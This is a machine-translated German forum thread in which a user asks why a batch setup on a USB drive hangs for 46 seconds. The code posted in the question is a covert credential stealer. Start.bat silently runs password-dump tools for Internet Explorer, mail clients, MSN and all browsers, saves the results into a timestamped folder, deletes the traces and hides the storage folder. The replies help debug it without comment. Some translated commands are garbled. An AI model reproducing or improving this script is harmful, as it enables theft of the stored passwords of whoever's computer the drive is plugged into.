Warum macht meine Batch-Datei 46 Sekunden lang nichts, bevor sie erzwungen wird?

532
Daniel

Ich habe herausgefunden, welcher Teil des Codes dies tut, aber ich weiß nicht, wie ich es reparieren soll ... Hier ist der Code:

Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* )  

Der Batch macht genau das, was er tun soll, sobald er ausgeführt wird. Das Cmd-Fenster bleibt jedoch für 46 Sekunden geöffnet und wird dann beendet (weil ich taskkill / IM cmd.exe gewählt habe).

Bitte helfen

Ps, wenn Sie wollen, dass ich den gesamten Code poste (was sehr viel ist), dann werde ich es tun. Ich könnte Probleme damit haben, es zu erklären, aber ich werde mein Bestes geben.

Der gesamte Code ist wie folgt:

  1. Ich starte Pre-Unhide.bat (hier keine Probleme)

    @echo off  cd /d %~d0\  cd SwIPer start /min Start.bat  cd..  call Unhide.bat 
  2. Start.bat ist das:

    @echo off  for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO ( set CUR_DAY_OF_WEEK=%%i set CUR_MONTH=%%j set CUR_DAY=%%k set CUR_YEAR=%%l)  for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO ( set CUR_HOUR=%%i set CUR_MIN=%%j set AM_PM=%%k)  cd /d %~d0\  cd %~d0\SwIPer md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"  start /min iepv /stext IExplorer.txt start /min mailpv /stext Mail.txt start /min mspass /stext MSN.txt start /min WebBrowserPassView /stext AllBrowsers.txt echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" del IExplorer.txt del Mail.txt del MSN.txt del AllBrowsers.txt 
  3. Dann geht Pre-Unhide.bat weiter und ruft Unhide.bat auf

    @echo off  Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* ) 

(Dann hinzugefügt, weil ich möchte, dass das Programm beendet wird, aber es wartet noch 46 Sekunden, bis das Programm beendet wird.)

 taskkill /IM cmd.exe 

Hilfe wird sehr geschätzt :) Danke.

0
Als erstes blockiert * start * nicht. Mit anderen Worten, es wartet nicht auf das, was es zu Ende bringt, bevor es fortfährt. `Start.bat` könnte also noch ausgeführt werden, wenn` Unhide.bat` gestartet wird. Zweitens: Wenn sich Ihre Batch-Dateien auf diesem Laufwerk befinden, verwenden Sie "% ~ d0", um den Laufwerksbuchstaben des Laufwerks zu erhalten, in dem sich die Batch-Datei befindet. Nicht die Liste der `if`s ', die nach Möglichkeit vermieden werden sollte. Ich habe gesehen, wie Wechseldatenträger `D:` zugewiesen wurden, interne Festplatten wurden `E:` usw. zugewiesen. Es ist nicht sicher anzunehmen, dass das erste, auf das Sie stoßen, ab `E:` das gleiche Wechseldatenträger ist. Bob vor 12 Jahren 0
@ Bob so wie würde ich den Befehl% ~ d0 einrichten? Schreiben Sie bitte, wo Sie es ablegen und wie Sie es einrichten. Vielen Dank Daniel vor 12 Jahren 0
Es ist kein Befehl, sondern eine spezielle Variable, die das Laufwerk enthält, auf dem sich die Batchdatei befindet, in der Form `: `, zB` E: `. Eigentlich ist "cd E: \" falsch, es sollte "cd \ d E: \" sein, da Sie Laufwerke wechseln. Bei dieser speziellen Variablen wäre dies cd / d% ~ d0 \ `und ersetzt die gesamte Liste von` if`s. Bob vor 12 Jahren 0
@Bob ok, ich habe das behoben, danke, sieht viel gepflegter aus! Es wartet immer noch die gleiche Zeit. Ich glaube nicht, dass es start.bat ist, der es aufrechterhält, weil es nur 1 Sekunde dauert, um seinen Zyklus zu beenden, und dann beendet wird. Also nichts dort denke ich nicht. Daniel vor 12 Jahren 0
@Bob Ich lade gerade ein Video auf YouTube hoch und zeige, was es tut oder nicht. Bitte schau es dir an (hoffentlich nicht zu langweilig, da ich einen schlechteren Codec als gewöhnlich verwendet habe, um Speicherplatz zu sparen). Das Video ist unter http://youtu.be/Wr5NjohUcas Daniel vor 12 Jahren 0

1 Antwort auf die Frage

0
Luke

Beginnen Sie, indem Sie Ihren Code kommentieren. Macht es leichter zu verstehen, was Sie erreichen wollen Verwenden Sie den Befehl Pause zum Debuggen, falls erforderlich, in jedem Schritt Ihres Codes.

Versuchen Sie Folgendes: Fügen Sie in Pre-Unhide.bat einen "/ wait" -Schalter zu Ihrer "start / min start.bat" hinzu - also "start / min / wait start.bat". Dadurch wird preunhide vor dem Aufruf von unhide.bat warten, bis der Start abgeschlossen ist. Weitere Informationen zu Start und anderen CMD-Befehlen finden Sie unter diesem Link: http://ss64.com/nt/

Fügen Sie exit als letzte Codezeile für start.bat hinzu. Dadurch wird start.bat geschlossen, so dass preunhide unhide.bat aufrufen kann. Sie können es auch als letzte Zeile für das Einblenden hinzufügen.

Sie sollten auch ROBOCOPY anstelle von XCOPY verwenden.